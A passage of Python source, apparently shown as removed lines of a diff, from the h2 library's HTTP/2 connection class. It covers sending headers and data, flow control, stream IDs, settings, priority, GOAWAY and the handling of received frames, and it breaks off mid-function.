frame that is sent in the - ``HTTP2-Settings`` header field. When called on a client connection, - this method will return a bytestring that the caller can put in the - ``HTTP2-Settings`` field they send on their initial request. When - called on a server connection, the user **must** provide the value they - received from the client in the ``HTTP2-Settings`` header field to the - ``settings_header`` argument, which will be used appropriately. - - Additionally, this method sets up stream 1 in a half-closed state - appropriate for this side of the connection, to reflect the fact that - the request is already complete. - - Finally, this method also prepares the appropriate preamble to be sent - after the upgrade. - - .. versionadded:: 2.3.0 - - :param settings_header: (optional, server-only): The value of the - ``HTTP2-Settings`` header field received from the client. - :type settings_header: ``bytes`` - - :returns: For clients, a bytestring to put in the ``HTTP2-Settings``. - For servers, returns nothing. - :rtype: ``bytes`` or ``None`` - """ - self.config.logger.debug( - "Upgrade connection. Current settings: %s", self.local_settings, - ) - - frame_data = None - # Begin by getting the preamble in place. - self.initiate_connection() - - if self.config.client_side: - f = SettingsFrame(0) - for setting, value in self.local_settings.items(): - f.settings[setting] = value - - frame_data = f.serialize_body() - frame_data = base64.urlsafe_b64encode(frame_data) - elif settings_header: - # We have a settings header from the client. This needs to be - # applied, but we want to throw away the ACK. We do this by - # inserting the data into a Settings frame and then passing it to - # the state machine, but ignoring the return value. - settings_header = base64.urlsafe_b64decode(settings_header) - f = SettingsFrame(0) - f.parse_body(memoryview(settings_header)) - self._receive_settings_frame(f) - - # Set up appropriate state. Stream 1 in a half-closed state: - # half-closed(local) for clients, half-closed(remote) for servers. - # Additionally, we need to set up the Connection state machine. - connection_input = ( - ConnectionInputs.SEND_HEADERS if self.config.client_side - else ConnectionInputs.RECV_HEADERS - ) - self.config.logger.debug("Process input %s", connection_input) - self.state_machine.process_input(connection_input) - - # Set up stream 1. - self._begin_new_stream(stream_id=1, allowed_ids=AllowedStreamIDs.ODD) - self.streams[1].upgrade(self.config.client_side) - return frame_data - - def _get_or_create_stream(self, stream_id: int, allowed_ids: AllowedStreamIDs) -> H2Stream: - """ - Gets a stream by its stream ID. Will create one if one does not already - exist. Use allowed_ids to circumvent the usual stream ID rules for - clients and servers. - - .. versionchanged:: 2.0.0 - Removed this function from the public API. - """ - try: - return self.streams[stream_id] - except KeyError: - return self._begin_new_stream(stream_id, allowed_ids) - - def _get_stream_by_id(self, stream_id: int | None) -> H2Stream: - """ - Gets a stream by its stream ID. Raises NoSuchStreamError if the stream - ID does not correspond to a known stream and is higher than the current - maximum: raises if it is lower than the current maximum. - - .. versionchanged:: 2.0.0 - Removed this function from the public API. - """ - if not stream_id: - raise NoSuchStreamError(-1) # pragma: no cover - try: - return self.streams[stream_id] - except KeyError as e: - outbound = self._stream_id_is_outbound(stream_id) - highest_stream_id = ( - self.highest_outbound_stream_id if outbound else - self.highest_inbound_stream_id - ) - - if stream_id > highest_stream_id: - raise NoSuchStreamError(stream_id) from e - raise StreamClosedError(stream_id) from e - - def get_next_available_stream_id(self) -> int: - """ - Returns an integer suitable for use as the stream ID for the next - stream created by this endpoint. For server endpoints, this stream ID - will be even. For client endpoints, this stream ID will be odd. If no - stream IDs are available, raises :class:`NoAvailableStreamIDError - `. - - .. warning:: The return value from this function does not change until - the stream ID has actually been used by sending or pushing - headers on that stream. For that reason, it should be - called as close as possible to the actual use of the - stream ID. - - .. versionadded:: 2.0.0 - - :raises: :class:`NoAvailableStreamIDError - ` - :returns: The next free stream ID this peer can use to initiate a - stream. - :rtype: ``int`` - """ - # No streams have been opened yet, so return the lowest allowed stream - # ID. - if not self.highest_outbound_stream_id: - next_stream_id = 1 if self.config.client_side else 2 - else: - next_stream_id = self.highest_outbound_stream_id + 2 - self.config.logger.debug( - "Next available stream ID %d", next_stream_id, - ) - if next_stream_id > self.HIGHEST_ALLOWED_STREAM_ID: - msg = "Exhausted allowed stream IDs" - raise NoAvailableStreamIDError(msg) - - return next_stream_id - - def send_headers(self, - stream_id: int, - headers: Iterable[HeaderWeaklyTyped], - end_stream: bool = False, - priority_weight: int | None = None, - priority_depends_on: int | None = None, - priority_exclusive: bool | None = None) -> None: - """ - Send headers on a given stream. - - This function can be used to send request or response headers: the kind - that are sent depends on whether this connection has been opened as a - client or server connection, and whether the stream was opened by the - remote peer or not. - - If this is a client connection, calling ``send_headers`` will send the - headers as a request. It will also implicitly open the stream being - used. If this is a client connection and ``send_headers`` has *already* - been called, this will send trailers instead. - - If this is a server connection, calling ``send_headers`` will send the - headers as a response. It is a protocol error for a server to open a - stream by sending headers. If this is a server connection and - ``send_headers`` has *already* been called, this will send trailers - instead. - - When acting as a server, you may call ``send_headers`` any number of - times allowed by the following rules, in this order: - - - zero or more times with ``(':status', '1XX')`` (where ``1XX`` is a - placeholder for any 100-level status code). - - once with any other status header. - - zero or one time for trailers. - - That is, you are allowed to send as many informational responses as you - like, followed by one complete response and zero or one HTTP trailer - blocks. - - Clients may send one or two header blocks: one request block, and - optionally one trailer block. - - If it is important to send HPACK "never indexed" header fields (as - defined in `RFC 7451 Section 7.1.3 - `_), the user may - instead provide headers using the HPACK library's :class:`HeaderTuple - ` and :class:`NeverIndexedHeaderTuple - ` objects. - - This method also allows users to prioritize the stream immediately, - by sending priority information on the HEADERS frame directly. To do - this, any one of ``priority_weight``, ``priority_depends_on``, or - ``priority_exclusive`` must be set to a value that is not ``None``. For - more information on the priority fields, see :meth:`prioritize - `. - - .. warning:: In HTTP/2, it is mandatory that all the HTTP/2 special - headers (that is, ones whose header keys begin with ``:``) appear - at the start of the header block, before any normal headers. - - .. versionchanged:: 2.3.0 - Added support for using :class:`HeaderTuple - ` objects to store headers. - - .. versionchanged:: 2.4.0 - Added the ability to provide priority keyword arguments: - ``priority_weight``, ``priority_depends_on``, and - ``priority_exclusive``. - - :param stream_id: The stream ID to send the headers on. If this stream - does not currently exist, it will be created. - :type stream_id: ``int`` - - :param headers: The request/response headers to send. - :type headers: An iterable of two tuples of bytestrings or - :class:`HeaderTuple ` objects. - - :param end_stream: Whether this headers frame should end the stream - immediately (that is, whether no more data will be sent after this - frame). Defaults to ``False``. - :type end_stream: ``bool`` - - :param priority_weight: Sets the priority weight of the stream. See - :meth:`prioritize ` for more - about how this field works. Defaults to ``None``, which means that - no priority information will be sent. - :type priority_weight: ``int`` or ``None`` - - :param priority_depends_on: Sets which stream this one depends on for - priority purposes. See :meth:`prioritize - ` for more about how this - field works. Defaults to ``None``, which means that no priority - information will be sent. - :type priority_depends_on: ``int`` or ``None`` - - :param priority_exclusive: Sets whether this stream exclusively depends - on the stream given in ``priority_depends_on`` for priority - purposes. See :meth:`prioritize - ` for more about how this - field works. Defaults to ``None``, which means that no priority - information will be sent. - :type priority_depends_on: ``bool`` or ``None`` - - :returns: Nothing - """ - self.config.logger.debug( - "Send headers on stream ID %d", stream_id, - ) - - # Check we can open the stream. - if stream_id not in self.streams: - max_open_streams = self.remote_settings.max_concurrent_streams - value = self.open_outbound_streams # take a copy due to the property accessor having side affects - if (value + 1) > max_open_streams: - msg = f"Max outbound streams is {max_open_streams}, {value} open" - raise TooManyStreamsError(msg) - - self.state_machine.process_input(ConnectionInputs.SEND_HEADERS) - stream = self._get_or_create_stream( - stream_id, AllowedStreamIDs(self.config.client_side), - ) - - frames: list[Frame] = [] - frames.extend(stream.send_headers( - headers, self.encoder, end_stream, - )) - - # We may need to send priority information. - priority_present = ( - (priority_weight is not None) or - (priority_depends_on is not None) or - (priority_exclusive is not None) - ) - - if priority_present: - if not self.config.client_side: - msg = "Servers SHOULD NOT prioritize streams." - raise RFC1122Error(msg) - - headers_frame = frames[0] - assert isinstance(headers_frame, HeadersFrame) - - headers_frame.flags.add("PRIORITY") - frames[0] = _add_frame_priority( - headers_frame, - priority_weight, - priority_depends_on, - priority_exclusive, - ) - - self._prepare_for_sending(frames) - - def send_data(self, - stream_id: int, - data: bytes | memoryview, - end_stream: bool = False, - pad_length: Any = None) -> None: - """ - Send data on a given stream. - - This method does no breaking up of data: if the data is larger than the - value returned by :meth:`local_flow_control_window - ` for this stream - then a :class:`FlowControlError ` will - be raised. If the data is larger than :data:`max_outbound_frame_size - ` then a - :class:`FrameTooLargeError ` will be - raised. - - h2 does this to avoid buffering the data internally. If the user - has more data to send than h2 will allow, consider breaking it up - and buffering it externally. - - :param stream_id: The ID of the stream on which to send the data. - :type stream_id: ``int`` - :param data: The data to send on the stream. - :type data: ``bytes`` - :param end_stream: (optional) Whether this is the last data to be sent - on the stream. Defaults to ``False``. - :type end_stream: ``bool`` - :param pad_length: (optional) Length of the padding to apply to the - data frame. Defaults to ``None`` for no use of padding. Note that - a value of ``0`` results in padding of length ``0`` - (with the "padding" flag set on the frame). - - .. versionadded:: 2.6.0 - - :type pad_length: ``int`` - :returns: Nothing - """ - self.config.logger.debug( - "Send data on stream ID %d with len %d", stream_id, len(data), - ) - frame_size = len(data) - if pad_length is not None: - if not isinstance(pad_length, int): - msg = "pad_length must be an int" - raise TypeError(msg) - if pad_length < 0 or pad_length > 255: - msg = "pad_length must be within range: [0, 255]" - raise ValueError(msg) - # Account for padding bytes plus the 1-byte padding length field. - frame_size += pad_length + 1 - self.config.logger.debug( - "Frame size on stream ID %d is %d", stream_id, frame_size, - ) - - if frame_size > 0 and frame_size > self.local_flow_control_window(stream_id): - msg = f"Cannot send {frame_size} bytes, flow control window is {self.local_flow_control_window(stream_id)}" - raise FlowControlError(msg) - if frame_size > self.max_outbound_frame_size: - msg = f"Cannot send frame size {frame_size}, max frame size is {self.max_outbound_frame_size}" - raise FrameTooLargeError(msg) - - self.state_machine.process_input(ConnectionInputs.SEND_DATA) - frames = self.streams[stream_id].send_data( - data, end_stream, pad_length=pad_length, - ) - - self._prepare_for_sending(frames) - - self.outbound_flow_control_window -= frame_size - self.config.logger.debug( - "Outbound flow control window size is %d", - self.outbound_flow_control_window, - ) - assert self.outbound_flow_control_window >= 0 or frame_size == 0 - - def end_stream(self, stream_id: int) -> None: - """ - Cleanly end a given stream. - - This method ends a stream by sending an empty DATA frame on that stream - with the ``END_STREAM`` flag set. - - :param stream_id: The ID of the stream to end. - :type stream_id: ``int`` - :returns: Nothing - :raises NoSuchStreamError: If the stream ID does not correspond to a - known stream and is higher than the current maximum stream ID. - :raises StreamClosedError: If the stream ID corresponds to a stream - that has been closed. - """ - self.config.logger.debug("End stream ID %d", stream_id) - self.state_machine.process_input(ConnectionInputs.SEND_DATA) - frames = self._get_stream_by_id(stream_id).end_stream() - self._prepare_for_sending(frames) - - def increment_flow_control_window(self, increment: int, stream_id: int | None = None) -> None: - """ - Increment a flow control window, optionally for a single stream. Allows - the remote peer to send more data. - - .. versionchanged:: 2.0.0 - Rejects attempts to increment the flow control window by out of - range values with a ``ValueError``. - - :param increment: The amount to increment the flow control window by. - :type increment: ``int`` - :param stream_id: (optional) The ID of the stream that should have its - flow control window opened. If not present or ``None``, the - connection flow control window will be opened instead. - :type stream_id: ``int`` or ``None`` - :returns: Nothing - :raises: ``ValueError`` - """ - if not (1 <= increment <= self.MAX_WINDOW_INCREMENT): - msg = f"Flow control increment must be between 1 and {self.MAX_WINDOW_INCREMENT}" - raise ValueError(msg) - - self.state_machine.process_input(ConnectionInputs.SEND_WINDOW_UPDATE) - - if stream_id is not None: - stream = self.streams[stream_id] - frames = stream.increase_flow_control_window( - increment, - ) - - self.config.logger.debug( - "Increase stream ID %d flow control window by %d", - stream_id, increment, - ) - else: - self._inbound_flow_control_window_manager.window_opened(increment) - f = WindowUpdateFrame(0) - f.window_increment = increment - frames = [f] - - self.config.logger.debug( - "Increase connection flow control window by %d", increment, - ) - - self._prepare_for_sending(frames) - - def push_stream(self, - stream_id: int, - promised_stream_id: int, - request_headers: Iterable[HeaderWeaklyTyped]) -> None: - """ - Push a response to the client by sending a PUSH_PROMISE frame. - - If it is important to send HPACK "never indexed" header fields (as - defined in `RFC 7451 Section 7.1.3 - `_), the user may - instead provide headers using the HPACK library's :class:`HeaderTuple - ` and :class:`NeverIndexedHeaderTuple - ` objects. - - :param stream_id: The ID of the stream that this push is a response to. - :type stream_id: ``int`` - :param promised_stream_id: The ID of the stream that the pushed - response will be sent on. - :type promised_stream_id: ``int`` - :param request_headers: The headers of the request that the pushed - response will be responding to. - :type request_headers: An iterable of two tuples of bytestrings or - :class:`HeaderTuple ` objects. - :returns: Nothing - """ - self.config.logger.debug( - "Send Push Promise frame on stream ID %d", stream_id, - ) - - if not self.remote_settings.enable_push: - msg = "Remote peer has disabled stream push" - raise ProtocolError(msg) - - self.state_machine.process_input(ConnectionInputs.SEND_PUSH_PROMISE) - stream = self._get_stream_by_id(stream_id) - - # We need to prevent users pushing streams in response to streams that - # they themselves have already pushed: see #163 and RFC 7540 § 6.6. The - # easiest way to do that is to assert that the stream_id is not even: - # this shortcut works because only servers can push and the state - # machine will enforce this. - if (stream_id % 2) == 0: - msg = "Cannot recursively push streams." - raise ProtocolError(msg) - - new_stream = self._begin_new_stream( - promised_stream_id, AllowedStreamIDs.EVEN, - ) - self.streams[promised_stream_id] = new_stream - - frames = stream.push_stream_in_band( - promised_stream_id, request_headers, self.encoder, - ) - new_frames = new_stream.locally_pushed() - self._prepare_for_sending(frames + new_frames) - - def ping(self, opaque_data: bytes | str) -> None: - """ - Send a PING frame. - - :param opaque_data: A bytestring of length 8 that will be sent in the - PING frame. - :returns: Nothing - """ - self.config.logger.debug("Send Ping frame") - - if not isinstance(opaque_data, bytes) or len(opaque_data) != 8: - msg = f"Invalid value for ping data: {opaque_data!r}" - raise ValueError(msg) - - self.state_machine.process_input(ConnectionInputs.SEND_PING) - f = PingFrame(0) - f.opaque_data = opaque_data - self._prepare_for_sending([f]) - - def reset_stream(self, stream_id: int, error_code: ErrorCodes | int = 0) -> None: - """ - Reset a stream. - - This method forcibly closes a stream by sending a RST_STREAM frame for - a given stream. This is not a graceful closure. To gracefully end a - stream, try the :meth:`end_stream - ` method. - - :param stream_id: The ID of the stream to reset. - :type stream_id: ``int`` - :param error_code: (optional) The error code to use to reset the - stream. Defaults to :data:`ErrorCodes.NO_ERROR - `. - :type error_code: ``int`` - :returns: Nothing - """ - self.config.logger.debug("Reset stream ID %d", stream_id) - self.state_machine.process_input(ConnectionInputs.SEND_RST_STREAM) - stream = self._get_stream_by_id(stream_id) - frames = stream.reset_stream(error_code) - self._prepare_for_sending(frames) - - def close_connection(self, - error_code: ErrorCodes | int = 0, - additional_data: bytes | None = None, - last_stream_id: int | None = None) -> None: - """ - Close a connection, emitting a GOAWAY frame. - - .. versionchanged:: 2.4.0 - Added ``additional_data`` and ``last_stream_id`` arguments. - - :param error_code: (optional) The error code to send in the GOAWAY - frame. - :param additional_data: (optional) Additional debug data indicating - a reason for closing the connection. Must be a bytestring. - :param last_stream_id: (optional) The last stream which was processed - by the sender. Defaults to ``highest_inbound_stream_id``. - :returns: Nothing - """ - self.config.logger.debug("Close connection") - self.state_machine.process_input(ConnectionInputs.SEND_GOAWAY) - - # Additional_data must be bytes - if additional_data is not None: - assert isinstance(additional_data, bytes) - - if last_stream_id is None: - last_stream_id = self.highest_inbound_stream_id - - f = GoAwayFrame( - stream_id=0, - last_stream_id=last_stream_id, - error_code=error_code, - additional_data=(additional_data or b""), - ) - self._prepare_for_sending([f]) - - def update_settings(self, new_settings: dict[SettingCodes | int, int]) -> None: - """ - Update the local settings. This will prepare and emit the appropriate - SETTINGS frame. - - :param new_settings: A dictionary of {setting: new value} - """ - self.config.logger.debug( - "Update connection settings to %s", new_settings, - ) - self.state_machine.process_input(ConnectionInputs.SEND_SETTINGS) - self.local_settings.update(new_settings) - s = SettingsFrame(0) - s.settings = new_settings - self._prepare_for_sending([s]) - - def advertise_alternative_service(self, - field_value: bytes | str, - origin: bytes | None = None, - stream_id: int | None = None) -> None: - """ - Notify a client about an available Alternative Service. - - An Alternative Service is defined in `RFC 7838 - `_. An Alternative Service - notification informs a client that a given origin is also available - elsewhere. - - Alternative Services can be advertised in two ways. Firstly, they can - be advertised explicitly: that is, a server can say "origin X is also - available at Y". To advertise like this, set the ``origin`` argument - and not the ``stream_id`` argument. Alternatively, they can be - advertised implicitly: that is, a server can say "the origin you're - contacting on stream X is also available at Y". To advertise like this, - set the ``stream_id`` argument and not the ``origin`` argument. - - The explicit method of advertising can be done as long as the - connection is active. The implicit method can only be done after the - client has sent the request headers and before the server has sent the - response headers: outside of those points, h2 will forbid sending - the Alternative Service advertisement by raising a ProtocolError. - - The ``field_value`` parameter is specified in RFC 7838. h2 does - not validate or introspect this argument: the user is required to - ensure that it's well-formed. ``field_value`` corresponds to RFC 7838's - "Alternative Service Field Value". - - .. note:: It is strongly preferred to use the explicit method of - advertising Alternative Services. The implicit method of - advertising Alternative Services has a number of subtleties - and can lead to inconsistencies between the server and - client. h2 allows both mechanisms, but caution is - strongly advised. - - .. versionadded:: 2.3.0 - - :param field_value: The RFC 7838 Alternative Service Field Value. This - argument is not introspected by h2: the user is responsible - for ensuring that it is well-formed. - :type field_value: ``bytes`` - - :param origin: The origin/authority to which the Alternative Service - being advertised applies. Must not be provided at the same time as - ``stream_id``. - :type origin: ``bytes`` or ``None`` - - :param stream_id: The ID of the stream which was sent to the authority - for which this Alternative Service advertisement applies. Must not - be provided at the same time as ``origin``. - :type stream_id: ``int`` or ``None`` - - :returns: Nothing. - """ - if not isinstance(field_value, bytes): - msg = "Field must be bytestring." - raise ValueError(msg) # noqa: TRY004 - - if origin is not None and stream_id is not None: - msg = "Must not provide both origin and stream_id" - raise ValueError(msg) - - self.state_machine.process_input( - ConnectionInputs.SEND_ALTERNATIVE_SERVICE, - ) - - if origin is not None: - # This ALTSVC is sent on stream zero. - f = AltSvcFrame(stream_id=0) - f.origin = origin - f.field = field_value - frames: list[Frame] = [f] - else: - stream = self._get_stream_by_id(stream_id) - frames = stream.advertise_alternative_service(field_value) - - self._prepare_for_sending(frames) - - def prioritize(self, - stream_id: int, - weight: int | None = None, - depends_on: int | None = None, - exclusive: bool | None = None) -> None: - """ - Notify a server about the priority of a stream. - - Stream priorities are a form of guidance to a remote server: they - inform the server about how important a given response is, so that the - server may allocate its resources (e.g. bandwidth, CPU time, etc.) - accordingly. This exists to allow clients to ensure that the most - important data arrives earlier, while less important data does not - starve out the more important data. - - Stream priorities are explained in depth in `RFC 7540 Section 5.3 - `_. - - This method updates the priority information of a single stream. It may - be called well before a stream is actively in use, or well after a - stream is closed. - - .. warning:: RFC 7540 allows for servers to change the priority of - streams. However, h2 **does not** allow server - stacks to do this. This is because most clients do not - adequately know how to respond when provided conflicting - priority information, and relatively little utility is - provided by making that functionality available. - - .. note:: h2 **does not** maintain any information about the - RFC 7540 priority tree. That means that h2 does not - prevent incautious users from creating invalid priority - trees, particularly by creating priority loops. While some - basic error checking is provided by h2, users are - strongly recommended to understand their prioritisation - strategies before using the priority tools here. - - .. note:: Priority information is strictly advisory. Servers are - allowed to disregard it entirely. Avoid relying on the idea - that your priority signaling will definitely be obeyed. - - .. versionadded:: 2.4.0 - - :param stream_id: The ID of the stream to prioritize. - :type stream_id: ``int`` - - :param weight: The weight to give the stream. Defaults to ``16``, the - default weight of any stream. May be any value between ``1`` and - ``256`` inclusive. The relative weight of a stream indicates what - proportion of available resources will be allocated to that - stream. - :type weight: ``int`` - - :param depends_on: The ID of the stream on which this stream depends. - This stream will only be progressed if it is impossible to - progress the parent stream (the one on which this one depends). - Passing the value ``0`` means that this stream does not depend on - any other. Defaults to ``0``. - :type depends_on: ``int`` - - :param exclusive: Whether this stream is an exclusive dependency of its - "parent" stream (i.e. the stream given by ``depends_on``). If a - stream is an exclusive dependency of another, that means that all - previously-set children of the parent are moved to become children - of the new exclusively-dependent stream. Defaults to ``False``. - :type exclusive: ``bool`` - """ - if not self.config.client_side: - msg = "Servers SHOULD NOT prioritize streams." - raise RFC1122Error(msg) - - self.state_machine.process_input( - ConnectionInputs.SEND_PRIORITY, - ) - - frame = PriorityFrame(stream_id) - frame_prio = _add_frame_priority(frame, weight, depends_on, exclusive) - - self._prepare_for_sending([frame_prio]) - - def local_flow_control_window(self, stream_id: int) -> int: - """ - Returns the maximum amount of data that can be sent on stream - ``stream_id``. - - This value will never be larger than the total data that can be sent on - the connection: even if the given stream allows more data, the - connection window provides a logical maximum to the amount of data that - can be sent. - - The maximum data that can be sent in a single data frame on a stream - is either this value, or the maximum frame size, whichever is - *smaller*. - - :param stream_id: The ID of the stream whose flow control window is - being queried. - :type stream_id: ``int`` - :returns: The amount of data in bytes that can be sent on the stream - before the flow control window is exhausted. - :rtype: ``int`` - """ - stream = self._get_stream_by_id(stream_id) - return min( - self.outbound_flow_control_window, - stream.outbound_flow_control_window, - ) - - def remote_flow_control_window(self, stream_id: int) -> int: - """ - Returns the maximum amount of data the remote peer can send on stream - ``stream_id``. - - This value will never be larger than the total data that can be sent on - the connection: even if the given stream allows more data, the - connection window provides a logical maximum to the amount of data that - can be sent. - - The maximum data that can be sent in a single data frame on a stream - is either this value, or the maximum frame size, whichever is - *smaller*. - - :param stream_id: The ID of the stream whose flow control window is - being queried. - :type stream_id: ``int`` - :returns: The amount of data in bytes that can be received on the - stream before the flow control window is exhausted. - :rtype: ``int`` - """ - stream = self._get_stream_by_id(stream_id) - return min( - self.inbound_flow_control_window, - stream.inbound_flow_control_window, - ) - - def acknowledge_received_data(self, acknowledged_size: int, stream_id: int) -> None: - """ - Inform the :class:`H2Connection ` that a - certain number of flow-controlled bytes have been processed, and that - the space should be handed back to the remote peer at an opportune - time. - - .. versionadded:: 2.5.0 - - :param acknowledged_size: The total *flow-controlled size* of the data - that has been processed. Note that this must include the amount of - padding that was sent with that data. - :type acknowledged_size: ``int`` - :param stream_id: The ID of the stream on which this data was received. - :type stream_id: ``int`` - :returns: Nothing - :rtype: ``None`` - """ - self.config.logger.debug( - "Ack received data on stream ID %d with size %d", - stream_id, acknowledged_size, - ) - if stream_id <= 0: - msg = f"Stream ID {stream_id} is not valid for acknowledge_received_data" - raise ValueError(msg) - if acknowledged_size < 0: - msg = "Cannot acknowledge negative data" - raise ValueError(msg) - - frames: list[Frame] = [] - - conn_manager = self._inbound_flow_control_window_manager - conn_increment = conn_manager.process_bytes(acknowledged_size) - if conn_increment: - f = WindowUpdateFrame(0) - f.window_increment = conn_increment - frames.append(f) - - try: - stream = self._get_stream_by_id(stream_id) - except StreamClosedError: - # The stream is already gone. We're not worried about incrementing - # the window in this case. - pass - else: - # No point incrementing the windows of closed streams. - if stream.open: - frames.extend( - stream.acknowledge_received_data(acknowledged_size), - ) - - self._prepare_for_sending(frames) - - def data_to_send(self, amount: int | None = None) -> bytes: - """ - Returns some data for sending out of the internal data buffer. - - This method is analogous to ``read`` on a file-like object, but it - doesn't block. Instead, it returns as much data as the user asks for, - or less if that much data is not available. It does not perform any - I/O, and so uses a different name. - - :param amount: (optional) The maximum amount of data to return. If not - set, or set to ``None``, will return as much data as possible. - :type amount: ``int`` - :returns: A bytestring containing the data to send on the wire. - :rtype: ``bytes`` - """ - if amount is None: - data = bytes(self._data_to_send) - self._data_to_send = bytearray() - return data - data = bytes(self._data_to_send[:amount]) - self._data_to_send = self._data_to_send[amount:] - return data - - def clear_outbound_data_buffer(self) -> None: - """ - Clears the outbound data buffer, such that if this call was immediately - followed by a call to - :meth:`data_to_send `, that - call would return no data. - - This method should not normally be used, but is made available to avoid - exposing implementation details. - """ - self._data_to_send = bytearray() - - def _acknowledge_settings(self) -> list[Frame]: - """ - Acknowledge settings that have been received. - - .. versionchanged:: 2.0.0 - Removed from public API, removed useless ``event`` parameter, made - automatic. - - :returns: Nothing - """ - self.state_machine.process_input(ConnectionInputs.SEND_SETTINGS) - - changes = self.remote_settings.acknowledge() - - if SettingCodes.INITIAL_WINDOW_SIZE in changes: - setting = changes[SettingCodes.INITIAL_WINDOW_SIZE] - self._flow_control_change_from_settings( - setting.original_value, - setting.new_value, - ) - - # HEADER_TABLE_SIZE changes by the remote part affect our encoder: cf. - # RFC 7540 Section 6.5.2. - if SettingCodes.HEADER_TABLE_SIZE in changes: - setting = changes[SettingCodes.HEADER_TABLE_SIZE] - self.encoder.header_table_size = setting.new_value - - if SettingCodes.MAX_FRAME_SIZE in changes: - setting = changes[SettingCodes.MAX_FRAME_SIZE] - self.max_outbound_frame_size = setting.new_value - for stream in self.streams.values(): - stream.max_outbound_frame_size = setting.new_value - - f = SettingsFrame(0) - f.flags.add("ACK") - return [f] - - def _flow_control_change_from_settings(self, old_value: int | None, new_value: int) -> None: - """ - Update flow control windows in response to a change in the value of - SETTINGS_INITIAL_WINDOW_SIZE. - - When this setting is changed, it automatically updates all flow control - windows by the delta in the settings values. Note that it does not - increment the *connection* flow control window, per section 6.9.2 of - RFC 7540. - """ - delta = new_value - (old_value or 0) - - for stream in self.streams.values(): - stream.outbound_flow_control_window = guard_increment_window( - stream.outbound_flow_control_window, - delta, - ) - - def _inbound_flow_control_change_from_settings(self, old_value: int | None, new_value: int) -> None: - """ - Update remote flow control windows in response to a change in the value - of SETTINGS_INITIAL_WINDOW_SIZE. - - When this setting is changed, it automatically updates all remote flow - control windows by the delta in the settings values. - """ - delta = new_value - (old_value or 0) - - for stream in self.streams.values(): - stream._inbound_flow_control_change_from_settings(delta) - - def receive_data(self, data: Buffer) -> list[Event]: - """ - Pass some received HTTP/2 data to the connection for handling. - - :param data: The data received from the remote peer on the network. - :type data: An object implementing the buffer protocol. - :returns: A list of events that the remote peer triggered by sending - this data. - """ - self.config.logger.trace( - "Process received data on connection. Received data: %r", data, - ) - - events: list[Event] = [] - self.incoming_buffer.add_data(data) - self.incoming_buffer.max_frame_size = self.max_inbound_frame_size - - try: - for frame in self.incoming_buffer: - events.extend(self._receive_frame(frame)) - except InvalidPaddingError as e: - self._terminate_connection(ErrorCodes.PROTOCOL_ERROR) - msg = "Received frame with invalid padding." - raise ProtocolError(msg) from e - except ProtocolError as e: - # For whatever reason, receiving the frame caused a protocol error. - # We should prepare to emit a GoAway frame before throwing the - # exception up further. No need for an event: the exception will - # do fine. - self._terminate_connection(e.error_code) - raise - - return events - - def _receive_frame(self, frame: Frame) -> list[Event]: - """ - Handle a frame received on the connection. - - .. versionchanged:: 2.0.0 - Removed from the public API. - """ - events: list[Event] - self.config.logger.trace("Received frame: %s", repr(frame)) - try: - # I don't love using __class__ here, maybe reconsider it. - frames, events = self._frame_dispatch_table[frame.__class__](frame) - except StreamClosedError as e: - # If the stream was closed by RST_STREAM, we just send a RST_STREAM - # to the remote peer. Otherwise, this is a connection error, and so - # we will re-raise to trigger one. - if self._stream_is_closed_by_reset(e.stream_id): - f = RstStreamFrame(e.stream_id) - f.error_code = e.error_code - self._prepare_for_sending([f]) - events = e._events - else: - raise - except StreamIDTooLowError as e: - # The stream ID seems invalid. This may happen when the closed - # stream has been cleaned up, or when the remote peer has opened a - # new stream with a higher stream ID than this one, forcing it - # closed implicitly. - # - # Check how the stream was closed: depending on the mechanism, it - # is either a stream error or a connection error. - if self._stream_is_closed_by_reset(e.stream_id): - # Closed by RST_STREAM is a stream error. - f = RstStreamFrame(e.stream_id) - f.error_code = ErrorCodes.STREAM_CLOSED - self._prepare_for_sending([f]) - events = [] - elif self._stream_is_closed_by_end(e.stream_id): - # Closed by END_STREAM is a connection error. - raise StreamClosedError(e.stream_id) from e - else: - # Closed implicitly, also a connection error, but of type - # PROTOCOL_ERROR. - raise - else: - self._prepare_for_sending(frames) - - return events - - def _terminate_connection(self, error_code: ErrorCodes) -> None: - """ - Terminate the connection early. Used in error handling blocks to send - GOAWAY frames. - """ - f = GoAwayFrame(0) - f.last_stream_id = self.highest_inbound_stream_id - f.error_code = error_code - self.state_machine.process_input(ConnectionInputs.SEND_GOAWAY) - self._prepare_for_sending([f]) - - def _receive_headers_frame(self, frame: HeadersFrame) -> tuple[list[Frame], list[Event]]: - """ - Receive a headers frame on the connection. - """ - # If necessary, check we can open the stream. Also validate that the - # stream ID is valid. - if frame.stream_id not in self.streams: - max_open_streams = self.local_settings.max_concurrent_streams - value = self.open_inbound_streams # take a copy due to the property accessor having side affects - if (value + 1) > max_open_streams: - msg = f"Max inbound streams is {max_open_streams}, {value} open" - raise TooManyStreamsError(msg) - - # Let's decode the headers. We handle headers as bytes internally up - # until we hang them off the event, at which point we may optionally - # convert them to unicode. - headers = _decode_headers(self.decoder, frame.data) - - events = self.state_machine.process_input( - ConnectionInputs.RECV_HEADERS, - ) - stream = self._get_or_create_stream( - frame.stream_id, AllowedStreamIDs(not self.config.client_side), - ) - frames, stream_events = stream.receive_headers( - headers, - "END_STREAM" in frame.flags, - self.config.header_encoding, - ) - - if "PRIORITY" in frame.flags: - p_frames, p_events = self._receive_priority_frame(frame) - expected_frame_types = (RequestReceived, ResponseReceived, TrailersReceived, InformationalResponseReceived) - assert isinstance(stream_events[0], expected_frame_types) - assert isinstance(p_events[0], PriorityUpdated) - stream_events[0].priority_updated = p_events[0] - stream_events.extend(p_events) - assert not p_frames - - return frames, events + stream_events - - def _receive_push_promise_frame(self, frame: PushPromiseFrame) -> tuple[list[Frame], list[Event]]: - """ - Receive a push-promise frame on the connection. - """ - if not self.local_settings.enable_push: - msg = "Received pushed stream" - raise ProtocolError(msg) - - pushed_headers = _decode_headers(self.decoder, frame.data) - - events = self.state_machine.process_input( - ConnectionInputs.RECV_PUSH_PROMISE, - ) - - try: - stream = self._get_stream_by_id(frame.stream_id) - except NoSuchStreamError as e: - # We need to check if the parent stream was reset by us. If it was - # then we presume that the PUSH_PROMISE was in flight when we reset - # the parent stream. Rather than accept the new stream, just reset - # it. - # - # If this was closed naturally, however, we should call this a - # PROTOCOL_ERROR: pushing a stream on a naturally closed stream is - # a real problem because it creates a brand new stream that the - # remote peer now believes exists. - if (self._stream_closed_by(frame.stream_id) == - StreamClosedBy.SEND_RST_STREAM): - f = RstStreamFrame(frame.promised_stream_id) - f.error_code = ErrorCodes.REFUSED_STREAM - return [f], events - - msg = "Attempted to push on closed stream." - 